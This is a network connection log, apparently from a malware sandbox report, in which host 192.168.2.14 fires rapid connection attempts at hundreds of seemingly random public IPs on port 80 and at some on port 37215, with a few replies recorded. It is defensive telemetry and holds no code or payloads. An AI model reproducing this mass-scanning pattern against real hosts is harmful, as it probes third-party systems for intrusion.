Oct 17, 2024 02:19:44.201359034 CEST	20646	80	192.168.2.14	35.224.89.174
Oct 17, 2024 02:19:44.201370001 CEST	20646	80	192.168.2.14	59.211.133.78
Oct 17, 2024 02:19:44.201370001 CEST	20646	80	192.168.2.14	151.9.94.223
Oct 17, 2024 02:19:44.201375008 CEST	20646	80	192.168.2.14	199.86.191.147
Oct 17, 2024 02:19:44.201375008 CEST	20646	80	192.168.2.14	121.124.155.202
Oct 17, 2024 02:19:44.201375961 CEST	20646	80	192.168.2.14	117.174.60.55
Oct 17, 2024 02:19:44.201386929 CEST	20646	80	192.168.2.14	69.214.85.49
Oct 17, 2024 02:19:44.201390028 CEST	20646	80	192.168.2.14	19.176.131.177
Oct 17, 2024 02:19:44.201390028 CEST	20646	80	192.168.2.14	178.70.227.87
Oct 17, 2024 02:19:44.201390028 CEST	20646	80	192.168.2.14	103.127.50.14
Oct 17, 2024 02:19:44.201405048 CEST	20646	80	192.168.2.14	138.34.145.43
Oct 17, 2024 02:19:44.201410055 CEST	20646	80	192.168.2.14	64.156.19.174
Oct 17, 2024 02:19:44.201410055 CEST	20646	80	192.168.2.14	180.154.9.155
Oct 17, 2024 02:19:44.201421976 CEST	20646	80	192.168.2.14	194.42.157.116
Oct 17, 2024 02:19:44.201427937 CEST	20646	80	192.168.2.14	18.41.89.43
Oct 17, 2024 02:19:44.201430082 CEST	20646	80	192.168.2.14	94.29.16.143
Oct 17, 2024 02:19:44.201435089 CEST	20646	80	192.168.2.14	122.106.121.165
Oct 17, 2024 02:19:44.201453924 CEST	20646	80	192.168.2.14	107.113.27.122
Oct 17, 2024 02:19:44.201453924 CEST	20646	80	192.168.2.14	122.162.221.218
Oct 17, 2024 02:19:44.201457024 CEST	20646	80	192.168.2.14	50.197.4.144
Oct 17, 2024 02:19:44.201457977 CEST	20646	80	192.168.2.14	129.247.62.55
Oct 17, 2024 02:19:44.201472998 CEST	20646	80	192.168.2.14	212.10.91.7
Oct 17, 2024 02:19:44.201473951 CEST	20646	80	192.168.2.14	219.27.72.125
Oct 17, 2024 02:19:44.201487064 CEST	20646	80	192.168.2.14	61.41.85.234
Oct 17, 2024 02:19:44.201488018 CEST	20646	80	192.168.2.14	163.57.171.135
Oct 17, 2024 02:19:44.201491117 CEST	20646	80	192.168.2.14	99.171.104.57
Oct 17, 2024 02:19:44.201493979 CEST	20646	80	192.168.2.14	139.248.164.66
Oct 17, 2024 02:19:44.201500893 CEST	20646	80	192.168.2.14	110.12.219.94
Oct 17, 2024 02:19:44.201503038 CEST	20646	80	192.168.2.14	72.11.88.215
Oct 17, 2024 02:19:44.201504946 CEST	20646	80	192.168.2.14	217.244.228.32
Oct 17, 2024 02:19:44.201504946 CEST	20646	80	192.168.2.14	35.171.198.154
Oct 17, 2024 02:19:44.201519012 CEST	20646	80	192.168.2.14	110.138.164.250
Oct 17, 2024 02:19:44.201534986 CEST	20646	80	192.168.2.14	111.223.103.49
Oct 17, 2024 02:19:44.201534986 CEST	20646	80	192.168.2.14	9.39.236.158
Oct 17, 2024 02:19:44.201534986 CEST	20646	80	192.168.2.14	206.98.8.58
Oct 17, 2024 02:19:44.201534986 CEST	20646	80	192.168.2.14	68.174.50.99
Oct 17, 2024 02:19:44.201550007 CEST	20646	80	192.168.2.14	27.78.157.79
Oct 17, 2024 02:19:44.201550961 CEST	20646	80	192.168.2.14	130.125.136.163
Oct 17, 2024 02:19:44.201556921 CEST	20646	80	192.168.2.14	213.196.95.83
Oct 17, 2024 02:19:44.201570988 CEST	20646	80	192.168.2.14	115.49.202.134
Oct 17, 2024 02:19:44.201582909 CEST	20646	80	192.168.2.14	45.19.179.174
Oct 17, 2024 02:19:44.201582909 CEST	20646	80	192.168.2.14	57.79.43.167
Oct 17, 2024 02:19:44.201586962 CEST	20646	80	192.168.2.14	148.3.97.110
Oct 17, 2024 02:19:44.201586962 CEST	20646	80	192.168.2.14	151.163.85.140
Oct 17, 2024 02:19:44.201606989 CEST	20646	80	192.168.2.14	203.151.111.193
Oct 17, 2024 02:19:44.201610088 CEST	20646	80	192.168.2.14	213.203.189.107
Oct 17, 2024 02:19:44.201610088 CEST	20646	80	192.168.2.14	154.195.161.245
Oct 17, 2024 02:19:44.201610088 CEST	20646	80	192.168.2.14	4.136.101.102
Oct 17, 2024 02:19:44.201610088 CEST	20646	80	192.168.2.14	152.253.70.176
Oct 17, 2024 02:19:44.201618910 CEST	20646	80	192.168.2.14	73.88.222.93
Oct 17, 2024 02:19:44.201621056 CEST	20646	80	192.168.2.14	146.27.73.182
Oct 17, 2024 02:19:44.201632977 CEST	20646	80	192.168.2.14	129.177.237.241
Oct 17, 2024 02:19:44.201634884 CEST	20646	80	192.168.2.14	89.198.110.87
Oct 17, 2024 02:19:44.201648951 CEST	20646	80	192.168.2.14	52.203.214.96
Oct 17, 2024 02:19:44.201658010 CEST	20646	80	192.168.2.14	100.154.231.64
Oct 17, 2024 02:19:44.201658010 CEST	20646	80	192.168.2.14	45.134.16.252
Oct 17, 2024 02:19:44.201658010 CEST	20646	80	192.168.2.14	213.28.138.248
Oct 17, 2024 02:19:44.201658010 CEST	20646	80	192.168.2.14	58.57.92.101
Oct 17, 2024 02:19:44.201662064 CEST	20646	80	192.168.2.14	147.91.242.57
Oct 17, 2024 02:19:44.201670885 CEST	20646	80	192.168.2.14	188.171.47.98
Oct 17, 2024 02:19:44.201670885 CEST	20646	80	192.168.2.14	196.246.110.110
Oct 17, 2024 02:19:44.201670885 CEST	20646	80	192.168.2.14	100.161.74.154
Oct 17, 2024 02:19:44.201673031 CEST	20646	80	192.168.2.14	209.224.251.204
Oct 17, 2024 02:19:44.201677084 CEST	20646	80	192.168.2.14	155.173.66.125
Oct 17, 2024 02:19:44.201678991 CEST	20646	80	192.168.2.14	130.105.238.122
Oct 17, 2024 02:19:44.201689005 CEST	20646	80	192.168.2.14	132.224.42.150
Oct 17, 2024 02:19:44.201704025 CEST	20646	80	192.168.2.14	157.142.165.120
Oct 17, 2024 02:19:44.201704025 CEST	20646	80	192.168.2.14	204.231.25.47
Oct 17, 2024 02:19:44.201704025 CEST	20646	80	192.168.2.14	27.74.162.245
Oct 17, 2024 02:19:44.201709032 CEST	20646	80	192.168.2.14	179.163.215.137
Oct 17, 2024 02:19:44.201719999 CEST	20646	80	192.168.2.14	9.53.169.125
Oct 17, 2024 02:19:44.201723099 CEST	20646	80	192.168.2.14	23.149.29.190
Oct 17, 2024 02:19:44.201736927 CEST	20646	80	192.168.2.14	96.44.213.155
Oct 17, 2024 02:19:44.201736927 CEST	20646	80	192.168.2.14	43.176.136.49
Oct 17, 2024 02:19:44.201738119 CEST	20646	80	192.168.2.14	13.24.84.150
Oct 17, 2024 02:19:44.201738119 CEST	20646	80	192.168.2.14	34.83.18.168
Oct 17, 2024 02:19:44.201767921 CEST	20646	80	192.168.2.14	221.252.162.167
Oct 17, 2024 02:19:44.201770067 CEST	20646	80	192.168.2.14	208.246.110.244
Oct 17, 2024 02:19:44.201781034 CEST	20646	80	192.168.2.14	59.219.233.167
Oct 17, 2024 02:19:44.201781034 CEST	20646	80	192.168.2.14	89.237.156.249
Oct 17, 2024 02:19:44.201782942 CEST	20646	80	192.168.2.14	4.149.235.235
Oct 17, 2024 02:19:44.201787949 CEST	20646	80	192.168.2.14	207.246.53.230
Oct 17, 2024 02:19:44.201790094 CEST	20646	80	192.168.2.14	96.119.212.114
Oct 17, 2024 02:19:44.201790094 CEST	20646	80	192.168.2.14	169.161.252.158
Oct 17, 2024 02:19:44.201795101 CEST	20646	80	192.168.2.14	165.200.147.221
Oct 17, 2024 02:19:44.201802015 CEST	20646	80	192.168.2.14	98.119.192.134
Oct 17, 2024 02:19:44.201802969 CEST	20646	80	192.168.2.14	167.162.109.246
Oct 17, 2024 02:19:44.201812983 CEST	20646	80	192.168.2.14	126.57.244.248
Oct 17, 2024 02:19:44.201822996 CEST	20646	80	192.168.2.14	98.135.72.102
Oct 17, 2024 02:19:44.201828003 CEST	20646	80	192.168.2.14	203.250.164.254
Oct 17, 2024 02:19:44.201852083 CEST	20646	80	192.168.2.14	167.101.77.88
Oct 17, 2024 02:19:44.201852083 CEST	20646	80	192.168.2.14	116.123.72.229
Oct 17, 2024 02:19:44.201857090 CEST	20646	80	192.168.2.14	213.29.50.98
Oct 17, 2024 02:19:44.201857090 CEST	20646	80	192.168.2.14	154.232.145.213
Oct 17, 2024 02:19:44.201858997 CEST	20646	80	192.168.2.14	87.54.19.217
Oct 17, 2024 02:19:44.201872110 CEST	20646	80	192.168.2.14	93.41.230.62
Oct 17, 2024 02:19:44.201872110 CEST	20646	80	192.168.2.14	124.153.176.12
Oct 17, 2024 02:19:44.201873064 CEST	20646	80	192.168.2.14	59.30.228.93
Oct 17, 2024 02:19:44.201872110 CEST	20646	80	192.168.2.14	65.92.22.148
Oct 17, 2024 02:19:44.201872110 CEST	20646	80	192.168.2.14	95.98.211.72
Oct 17, 2024 02:19:44.201885939 CEST	20646	80	192.168.2.14	181.58.208.181
Oct 17, 2024 02:19:44.201885939 CEST	20646	80	192.168.2.14	59.26.31.156
Oct 17, 2024 02:19:44.201905966 CEST	20646	80	192.168.2.14	27.73.119.114
Oct 17, 2024 02:19:44.201908112 CEST	20646	80	192.168.2.14	154.167.192.193
Oct 17, 2024 02:19:44.201908112 CEST	20646	80	192.168.2.14	134.69.16.134
Oct 17, 2024 02:19:44.201908112 CEST	20646	80	192.168.2.14	67.246.188.85
Oct 17, 2024 02:19:44.201921940 CEST	20646	80	192.168.2.14	57.13.88.227
Oct 17, 2024 02:19:44.201924086 CEST	20646	80	192.168.2.14	40.97.123.147
Oct 17, 2024 02:19:44.201931953 CEST	20646	80	192.168.2.14	94.178.161.82
Oct 17, 2024 02:19:44.201931953 CEST	20646	80	192.168.2.14	57.182.216.7
Oct 17, 2024 02:19:44.201941013 CEST	20646	80	192.168.2.14	74.150.250.157
Oct 17, 2024 02:19:44.201946020 CEST	20646	80	192.168.2.14	106.16.12.39
Oct 17, 2024 02:19:44.201946020 CEST	20646	80	192.168.2.14	122.201.16.160
Oct 17, 2024 02:19:44.201947927 CEST	20646	80	192.168.2.14	142.248.10.156
Oct 17, 2024 02:19:44.201956987 CEST	20646	80	192.168.2.14	110.123.28.127
Oct 17, 2024 02:19:44.201956987 CEST	20646	80	192.168.2.14	87.8.197.58
Oct 17, 2024 02:19:44.201963902 CEST	20646	80	192.168.2.14	142.9.57.158
Oct 17, 2024 02:19:44.201976061 CEST	20646	80	192.168.2.14	143.19.252.191
Oct 17, 2024 02:19:44.201982021 CEST	20646	80	192.168.2.14	174.78.196.233
Oct 17, 2024 02:19:44.201983929 CEST	20646	80	192.168.2.14	222.133.84.244
Oct 17, 2024 02:19:44.202004910 CEST	20646	80	192.168.2.14	200.163.164.46
Oct 17, 2024 02:19:44.202004910 CEST	20646	80	192.168.2.14	13.64.133.157
Oct 17, 2024 02:19:44.202006102 CEST	20646	80	192.168.2.14	78.142.136.33
Oct 17, 2024 02:19:44.202004910 CEST	20646	80	192.168.2.14	76.45.189.94
Oct 17, 2024 02:19:44.202006102 CEST	20646	80	192.168.2.14	169.200.190.160
Oct 17, 2024 02:19:44.202013016 CEST	20646	80	192.168.2.14	154.34.81.130
Oct 17, 2024 02:19:44.202025890 CEST	20646	80	192.168.2.14	159.209.69.49
Oct 17, 2024 02:19:44.202035904 CEST	20646	80	192.168.2.14	165.228.242.109
Oct 17, 2024 02:19:44.202044964 CEST	20646	80	192.168.2.14	87.206.133.172
Oct 17, 2024 02:19:44.202044010 CEST	20646	80	192.168.2.14	70.0.114.71
Oct 17, 2024 02:19:44.202044010 CEST	20646	80	192.168.2.14	106.85.98.113
Oct 17, 2024 02:19:44.202049971 CEST	20646	80	192.168.2.14	156.88.255.158
Oct 17, 2024 02:19:44.202069998 CEST	20646	80	192.168.2.14	88.56.39.61
Oct 17, 2024 02:19:44.202069998 CEST	20646	80	192.168.2.14	206.155.69.8
Oct 17, 2024 02:19:44.202076912 CEST	20646	80	192.168.2.14	162.199.128.190
Oct 17, 2024 02:19:44.202078104 CEST	20646	80	192.168.2.14	153.71.194.144
Oct 17, 2024 02:19:44.202078104 CEST	20646	80	192.168.2.14	35.210.250.253
Oct 17, 2024 02:19:44.202078104 CEST	20646	80	192.168.2.14	43.223.202.12
Oct 17, 2024 02:19:44.202078104 CEST	20646	80	192.168.2.14	52.252.218.159
Oct 17, 2024 02:19:44.202088118 CEST	20646	80	192.168.2.14	116.97.20.178
Oct 17, 2024 02:19:44.202088118 CEST	20646	80	192.168.2.14	49.168.91.248
Oct 17, 2024 02:19:44.202095985 CEST	20646	80	192.168.2.14	50.213.65.227
Oct 17, 2024 02:19:44.202096939 CEST	20646	80	192.168.2.14	138.186.111.109
Oct 17, 2024 02:19:44.202096939 CEST	20646	80	192.168.2.14	221.55.190.178
Oct 17, 2024 02:19:44.202105045 CEST	20646	80	192.168.2.14	143.175.199.165
Oct 17, 2024 02:19:44.202112913 CEST	20646	80	192.168.2.14	74.255.166.118
Oct 17, 2024 02:19:44.202121019 CEST	20646	80	192.168.2.14	140.194.21.170
Oct 17, 2024 02:19:44.202130079 CEST	20646	80	192.168.2.14	161.52.154.30
Oct 17, 2024 02:19:44.202131987 CEST	20646	80	192.168.2.14	177.191.224.51
Oct 17, 2024 02:19:44.202132940 CEST	20646	80	192.168.2.14	220.201.126.149
Oct 17, 2024 02:19:44.202132940 CEST	20646	80	192.168.2.14	130.102.198.247
Oct 17, 2024 02:19:44.202132940 CEST	20646	80	192.168.2.14	138.50.25.60
Oct 17, 2024 02:19:44.202138901 CEST	20646	80	192.168.2.14	90.71.149.15
Oct 17, 2024 02:19:44.202153921 CEST	20646	80	192.168.2.14	89.235.68.167
Oct 17, 2024 02:19:44.202153921 CEST	20646	80	192.168.2.14	97.39.150.249
Oct 17, 2024 02:19:44.202155113 CEST	20646	80	192.168.2.14	73.114.246.238
Oct 17, 2024 02:19:44.202173948 CEST	20646	80	192.168.2.14	142.136.29.221
Oct 17, 2024 02:19:44.202173948 CEST	20646	80	192.168.2.14	36.130.83.186
Oct 17, 2024 02:19:44.202176094 CEST	20646	80	192.168.2.14	35.9.204.253
Oct 17, 2024 02:19:44.202193975 CEST	20646	80	192.168.2.14	210.50.240.10
Oct 17, 2024 02:19:44.202198029 CEST	20646	80	192.168.2.14	180.101.133.126
Oct 17, 2024 02:19:44.202217102 CEST	20646	80	192.168.2.14	177.125.200.127
Oct 17, 2024 02:19:44.202217102 CEST	20646	80	192.168.2.14	53.231.145.71
Oct 17, 2024 02:19:44.202217102 CEST	20646	80	192.168.2.14	131.188.78.162
Oct 17, 2024 02:19:44.202217102 CEST	20646	80	192.168.2.14	205.192.78.249
Oct 17, 2024 02:19:44.202234983 CEST	20646	80	192.168.2.14	74.70.228.59
Oct 17, 2024 02:19:44.202234983 CEST	20646	80	192.168.2.14	181.235.55.83
Oct 17, 2024 02:19:44.202239037 CEST	20646	80	192.168.2.14	193.80.92.11
Oct 17, 2024 02:19:44.202239990 CEST	20646	80	192.168.2.14	35.108.37.18
Oct 17, 2024 02:19:44.202241898 CEST	20646	80	192.168.2.14	105.228.164.114
Oct 17, 2024 02:19:44.202246904 CEST	20646	80	192.168.2.14	1.56.225.186
Oct 17, 2024 02:19:44.202265978 CEST	20646	80	192.168.2.14	73.12.158.116
Oct 17, 2024 02:19:44.202265978 CEST	20646	80	192.168.2.14	25.18.66.43
Oct 17, 2024 02:19:44.202266932 CEST	20646	80	192.168.2.14	194.197.133.106
Oct 17, 2024 02:19:44.202284098 CEST	20646	80	192.168.2.14	148.143.30.243
Oct 17, 2024 02:19:44.202285051 CEST	20646	80	192.168.2.14	113.229.53.239
Oct 17, 2024 02:19:44.202286005 CEST	20646	80	192.168.2.14	47.5.243.51
Oct 17, 2024 02:19:44.202302933 CEST	20646	80	192.168.2.14	59.244.232.22
Oct 17, 2024 02:19:44.202305079 CEST	20646	80	192.168.2.14	52.39.0.164
Oct 17, 2024 02:19:44.202306986 CEST	20646	80	192.168.2.14	221.219.249.59
Oct 17, 2024 02:19:44.202308893 CEST	20646	80	192.168.2.14	9.63.149.204
Oct 17, 2024 02:19:44.202308893 CEST	20646	80	192.168.2.14	116.141.227.54
Oct 17, 2024 02:19:44.202321053 CEST	20646	80	192.168.2.14	194.222.6.246
Oct 17, 2024 02:19:44.202325106 CEST	20646	80	192.168.2.14	207.64.234.51
Oct 17, 2024 02:19:44.202337980 CEST	20646	80	192.168.2.14	37.42.0.41
Oct 17, 2024 02:19:44.202349901 CEST	20646	80	192.168.2.14	185.51.239.37
Oct 17, 2024 02:19:44.202352047 CEST	20646	80	192.168.2.14	164.234.157.79
Oct 17, 2024 02:19:44.202353001 CEST	20646	80	192.168.2.14	58.86.127.50
Oct 17, 2024 02:19:44.202367067 CEST	20646	80	192.168.2.14	93.50.114.196
Oct 17, 2024 02:19:44.202368975 CEST	20646	80	192.168.2.14	167.155.155.46
Oct 17, 2024 02:19:44.202369928 CEST	20646	80	192.168.2.14	128.93.97.210
Oct 17, 2024 02:19:44.202383041 CEST	20646	80	192.168.2.14	75.253.76.18
Oct 17, 2024 02:19:44.202389002 CEST	20646	80	192.168.2.14	114.195.178.14
Oct 17, 2024 02:19:44.202389956 CEST	20646	80	192.168.2.14	182.103.144.65
Oct 17, 2024 02:19:44.202389956 CEST	20646	80	192.168.2.14	19.130.213.29
Oct 17, 2024 02:19:44.202393055 CEST	20646	80	192.168.2.14	222.223.48.23
Oct 17, 2024 02:19:44.202393055 CEST	20646	80	192.168.2.14	179.127.168.10
Oct 17, 2024 02:19:44.202404022 CEST	20646	80	192.168.2.14	82.172.133.108
Oct 17, 2024 02:19:44.202410936 CEST	20646	80	192.168.2.14	32.152.234.216
Oct 17, 2024 02:19:44.202418089 CEST	20646	80	192.168.2.14	128.28.38.164
Oct 17, 2024 02:19:44.202431917 CEST	20646	80	192.168.2.14	205.201.81.202
Oct 17, 2024 02:19:44.202439070 CEST	20646	80	192.168.2.14	93.196.216.39
Oct 17, 2024 02:19:44.202439070 CEST	20646	80	192.168.2.14	83.122.190.189
Oct 17, 2024 02:19:44.202444077 CEST	20646	80	192.168.2.14	130.194.213.12
Oct 17, 2024 02:19:44.202445984 CEST	20646	80	192.168.2.14	12.147.115.12
Oct 17, 2024 02:19:44.202445984 CEST	20646	80	192.168.2.14	160.88.219.21
Oct 17, 2024 02:19:44.202460051 CEST	20646	80	192.168.2.14	35.253.176.16
Oct 17, 2024 02:19:44.202461958 CEST	20646	80	192.168.2.14	64.48.213.247
Oct 17, 2024 02:19:44.202471972 CEST	20646	80	192.168.2.14	88.234.245.59
Oct 17, 2024 02:19:44.202472925 CEST	20646	80	192.168.2.14	146.143.194.46
Oct 17, 2024 02:19:44.202481031 CEST	20646	80	192.168.2.14	12.50.82.53
Oct 17, 2024 02:19:44.202486038 CEST	20646	80	192.168.2.14	163.119.131.213
Oct 17, 2024 02:19:44.202497959 CEST	20646	80	192.168.2.14	88.127.49.110
Oct 17, 2024 02:19:44.202502966 CEST	20646	80	192.168.2.14	139.5.230.107
Oct 17, 2024 02:19:44.202502966 CEST	20646	80	192.168.2.14	146.173.144.254
Oct 17, 2024 02:19:44.202503920 CEST	20646	80	192.168.2.14	180.171.19.116
Oct 17, 2024 02:19:44.202511072 CEST	20646	80	192.168.2.14	75.56.3.189
Oct 17, 2024 02:19:44.202512026 CEST	20646	80	192.168.2.14	60.223.44.155
Oct 17, 2024 02:19:44.202517986 CEST	20646	80	192.168.2.14	18.71.143.106
Oct 17, 2024 02:19:44.202528954 CEST	20646	80	192.168.2.14	111.35.163.233
Oct 17, 2024 02:19:44.202531099 CEST	20646	80	192.168.2.14	213.104.130.95
Oct 17, 2024 02:19:44.202553034 CEST	20646	80	192.168.2.14	189.152.149.32
Oct 17, 2024 02:19:44.202554941 CEST	20646	80	192.168.2.14	108.117.84.229
Oct 17, 2024 02:19:44.202554941 CEST	20646	80	192.168.2.14	181.205.21.155
Oct 17, 2024 02:19:44.202554941 CEST	20646	80	192.168.2.14	136.125.156.169
Oct 17, 2024 02:19:44.202554941 CEST	20646	80	192.168.2.14	82.206.230.44
Oct 17, 2024 02:19:44.202569008 CEST	20646	80	192.168.2.14	130.150.119.244
Oct 17, 2024 02:19:44.202569008 CEST	20646	80	192.168.2.14	8.62.164.109
Oct 17, 2024 02:19:44.202569008 CEST	20646	80	192.168.2.14	24.26.185.245
Oct 17, 2024 02:19:44.202586889 CEST	20646	80	192.168.2.14	9.67.22.29
Oct 17, 2024 02:19:44.202588081 CEST	20646	80	192.168.2.14	165.185.191.102
Oct 17, 2024 02:19:44.202586889 CEST	20646	80	192.168.2.14	223.83.178.35
Oct 17, 2024 02:19:44.202588081 CEST	20646	80	192.168.2.14	144.175.201.143
Oct 17, 2024 02:19:44.202588081 CEST	20646	80	192.168.2.14	135.83.118.152
Oct 17, 2024 02:19:44.202588081 CEST	20646	80	192.168.2.14	78.84.178.245
Oct 17, 2024 02:19:44.202588081 CEST	20646	80	192.168.2.14	107.0.85.132
Oct 17, 2024 02:19:44.202614069 CEST	20646	80	192.168.2.14	130.213.48.211
Oct 17, 2024 02:19:44.202615023 CEST	20646	80	192.168.2.14	70.168.101.47
Oct 17, 2024 02:19:44.202615023 CEST	20646	80	192.168.2.14	9.192.242.26
Oct 17, 2024 02:19:44.202617884 CEST	20646	80	192.168.2.14	207.49.27.90
Oct 17, 2024 02:19:44.202617884 CEST	20646	80	192.168.2.14	189.170.13.148
Oct 17, 2024 02:19:44.202626944 CEST	20646	80	192.168.2.14	158.134.60.164
Oct 17, 2024 02:19:44.202629089 CEST	20646	80	192.168.2.14	40.164.94.139
Oct 17, 2024 02:19:44.202647924 CEST	20646	80	192.168.2.14	156.53.52.42
Oct 17, 2024 02:19:44.202647924 CEST	20646	80	192.168.2.14	71.72.117.165
Oct 17, 2024 02:19:44.202647924 CEST	20646	80	192.168.2.14	147.121.238.219
Oct 17, 2024 02:19:44.202650070 CEST	20646	80	192.168.2.14	186.83.60.88
Oct 17, 2024 02:19:44.202656031 CEST	20646	80	192.168.2.14	97.5.205.180
Oct 17, 2024 02:19:44.202658892 CEST	20646	80	192.168.2.14	189.156.187.215
Oct 17, 2024 02:19:44.202666044 CEST	20646	80	192.168.2.14	157.115.0.247
Oct 17, 2024 02:19:44.202666998 CEST	20646	80	192.168.2.14	78.53.85.49
Oct 17, 2024 02:19:44.202672958 CEST	20646	80	192.168.2.14	94.36.197.147
Oct 17, 2024 02:19:44.202673912 CEST	20646	80	192.168.2.14	78.220.234.91
Oct 17, 2024 02:19:44.202689886 CEST	20646	80	192.168.2.14	96.163.228.39
Oct 17, 2024 02:19:44.202692032 CEST	20646	80	192.168.2.14	52.73.55.216
Oct 17, 2024 02:19:44.202693939 CEST	20646	80	192.168.2.14	17.235.98.139
Oct 17, 2024 02:19:44.202702999 CEST	20646	80	192.168.2.14	86.120.103.146
Oct 17, 2024 02:19:44.202707052 CEST	20646	80	192.168.2.14	93.29.183.232
Oct 17, 2024 02:19:44.202707052 CEST	20646	80	192.168.2.14	131.134.146.110
Oct 17, 2024 02:19:44.202718973 CEST	20646	80	192.168.2.14	18.108.218.172
Oct 17, 2024 02:19:44.202718973 CEST	20646	80	192.168.2.14	73.134.93.112
Oct 17, 2024 02:19:44.202725887 CEST	20646	80	192.168.2.14	90.172.75.99
Oct 17, 2024 02:19:44.202730894 CEST	20646	80	192.168.2.14	80.32.154.125
Oct 17, 2024 02:19:44.202735901 CEST	20646	80	192.168.2.14	218.255.115.155
Oct 17, 2024 02:19:44.202758074 CEST	20646	80	192.168.2.14	104.154.0.81
Oct 17, 2024 02:19:44.202759027 CEST	20646	80	192.168.2.14	179.28.67.4
Oct 17, 2024 02:19:44.202759027 CEST	20646	80	192.168.2.14	117.230.89.41
Oct 17, 2024 02:19:44.202761889 CEST	20646	80	192.168.2.14	19.209.213.17
Oct 17, 2024 02:19:44.202769041 CEST	20646	80	192.168.2.14	108.84.112.5
Oct 17, 2024 02:19:44.202769041 CEST	20646	80	192.168.2.14	51.38.183.139
Oct 17, 2024 02:19:44.202771902 CEST	20646	80	192.168.2.14	153.96.143.196
Oct 17, 2024 02:19:44.202771902 CEST	20646	80	192.168.2.14	175.239.42.149
Oct 17, 2024 02:19:44.202771902 CEST	20646	80	192.168.2.14	204.34.220.23
Oct 17, 2024 02:19:44.202771902 CEST	20646	80	192.168.2.14	108.76.25.184
Oct 17, 2024 02:19:44.202771902 CEST	20646	80	192.168.2.14	80.45.152.232
Oct 17, 2024 02:19:44.202771902 CEST	20646	80	192.168.2.14	209.45.181.132
Oct 17, 2024 02:19:44.202783108 CEST	20646	80	192.168.2.14	130.67.114.168
Oct 17, 2024 02:19:44.202786922 CEST	20646	80	192.168.2.14	151.161.221.150
Oct 17, 2024 02:19:44.202786922 CEST	20646	80	192.168.2.14	134.146.228.216
Oct 17, 2024 02:19:44.202796936 CEST	20646	80	192.168.2.14	138.69.82.232
Oct 17, 2024 02:19:44.202811003 CEST	20646	80	192.168.2.14	158.254.225.71
Oct 17, 2024 02:19:44.202816963 CEST	20646	80	192.168.2.14	98.158.158.157
Oct 17, 2024 02:19:44.202817917 CEST	20646	80	192.168.2.14	143.148.103.220
Oct 17, 2024 02:19:44.202816963 CEST	20646	80	192.168.2.14	137.227.152.43
Oct 17, 2024 02:19:44.202824116 CEST	20646	80	192.168.2.14	143.93.106.50
Oct 17, 2024 02:19:44.202840090 CEST	20646	80	192.168.2.14	89.58.63.135
Oct 17, 2024 02:19:44.202840090 CEST	20646	80	192.168.2.14	98.18.213.208
Oct 17, 2024 02:19:44.202840090 CEST	20646	80	192.168.2.14	162.180.172.35
Oct 17, 2024 02:19:44.202845097 CEST	20646	80	192.168.2.14	17.116.127.33
Oct 17, 2024 02:19:44.202858925 CEST	20646	80	192.168.2.14	163.239.54.170
Oct 17, 2024 02:19:44.202872992 CEST	20646	80	192.168.2.14	163.216.147.232
Oct 17, 2024 02:19:44.202887058 CEST	20646	80	192.168.2.14	80.67.37.98
Oct 17, 2024 02:19:44.202887058 CEST	20646	80	192.168.2.14	32.26.128.64
Oct 17, 2024 02:19:44.202888966 CEST	20646	80	192.168.2.14	193.98.236.183
Oct 17, 2024 02:19:44.203011990 CEST	20646	80	192.168.2.14	120.108.240.64
Oct 17, 2024 02:19:44.203555107 CEST	56936	37215	192.168.2.14	156.105.45.222
Oct 17, 2024 02:19:44.205984116 CEST	37215	56732	156.105.45.222	192.168.2.14
Oct 17, 2024 02:19:44.206231117 CEST	80	20646	9.97.245.184	192.168.2.14
Oct 17, 2024 02:19:44.206242085 CEST	80	35494	104.67.111.220	192.168.2.14
Oct 17, 2024 02:19:44.206253052 CEST	80	20646	135.110.177.174	192.168.2.14
Oct 17, 2024 02:19:44.206285954 CEST	20646	80	192.168.2.14	9.97.245.184
Oct 17, 2024 02:19:44.206286907 CEST	35494	80	192.168.2.14	104.67.111.220
Oct 17, 2024 02:19:44.206340075 CEST	20646	80	192.168.2.14	135.110.177.174
Oct 17, 2024 02:19:44.247144938 CEST	37215	56732	156.105.45.222	192.168.2.14
Oct 17, 2024 02:19:44.355746984 CEST	39356	37215	192.168.2.14	156.68.97.235
Oct 17, 2024 02:19:44.355753899 CEST	54482	80	192.168.2.14	175.135.73.178
Oct 17, 2024 02:19:44.355778933 CEST	47224	37215	192.168.2.14	197.192.132.151
Oct 17, 2024 02:19:44.355818033 CEST	44182	80	192.168.2.14	173.138.120.251
Oct 17, 2024 02:19:44.360892057 CEST	37215	39356	156.68.97.235	192.168.2.14
Oct 17, 2024 02:19:44.360909939 CEST	80	54482	175.135.73.178	192.168.2.14
Oct 17, 2024 02:19:44.360920906 CEST	37215	47224	197.192.132.151	192.168.2.14
Oct 17, 2024 02:19:44.360933065 CEST	80	44182	173.138.120.251	192.168.2.14
Oct 17, 2024 02:19:44.360968113 CEST	39356	37215	192.168.2.14	156.68.97.235
Oct 17, 2024 02:19:44.360982895 CEST	54482	80	192.168.2.14	175.135.73.178
Oct 17, 2024 02:19:44.360986948 CEST	47224	37215	192.168.2.14	197.192.132.151
Oct 17, 2024 02:19:44.361087084 CEST	54482	80	192.168.2.14	175.135.73.178
Oct 17, 2024 02:19:44.361115932 CEST	44182	80	192.168.2.14	173.138.120.251
Oct 17, 2024 02:19:44.361443043 CEST	39356	37215	192.168.2.14	156.68.97.235
Oct 17, 2024 02:19:44.361443043 CEST	39356	37215	192.168.2.14	156.68.97.235
Oct 17, 2024 02:19:44.361486912 CEST	44182	80	192.168.2.14	173.138.120.251
Oct 17, 2024 02:19:44.362971067 CEST	43928	80	192.168.2.14	9.97.245.184
Oct 17, 2024 02:19:44.363286972 CEST	39548	37215	192.168.2.14	156.68.97.235
Oct 17, 2024 02:19:44.365291119 CEST	47224	37215	192.168.2.14	197.192.132.151
Oct 17, 2024 02:19:44.365291119 CEST	47224	37215	192.168.2.14	197.192.132.151
Oct 17, 2024 02:19:44.366168976 CEST	45522	80	192.168.2.14	135.110.177.174
Oct 17, 2024 02:19:44.366403103 CEST	80	54482	175.135.73.178	192.168.2.14
Oct 17, 2024 02:19:44.366405010 CEST	47418	37215	192.168.2.14	197.192.132.151
Oct 17, 2024 02:19:44.366415977 CEST	37215	39356	156.68.97.235	192.168.2.14
Oct 17, 2024 02:19:44.366462946 CEST	54482	80	192.168.2.14	175.135.73.178
Oct 17, 2024 02:19:44.366514921 CEST	80	44182	173.138.120.251	192.168.2.14
Oct 17, 2024 02:19:44.366904020 CEST	44182	80	192.168.2.14	173.138.120.251
Oct 17, 2024 02:19:44.367880106 CEST	80	43928	9.97.245.184	192.168.2.14
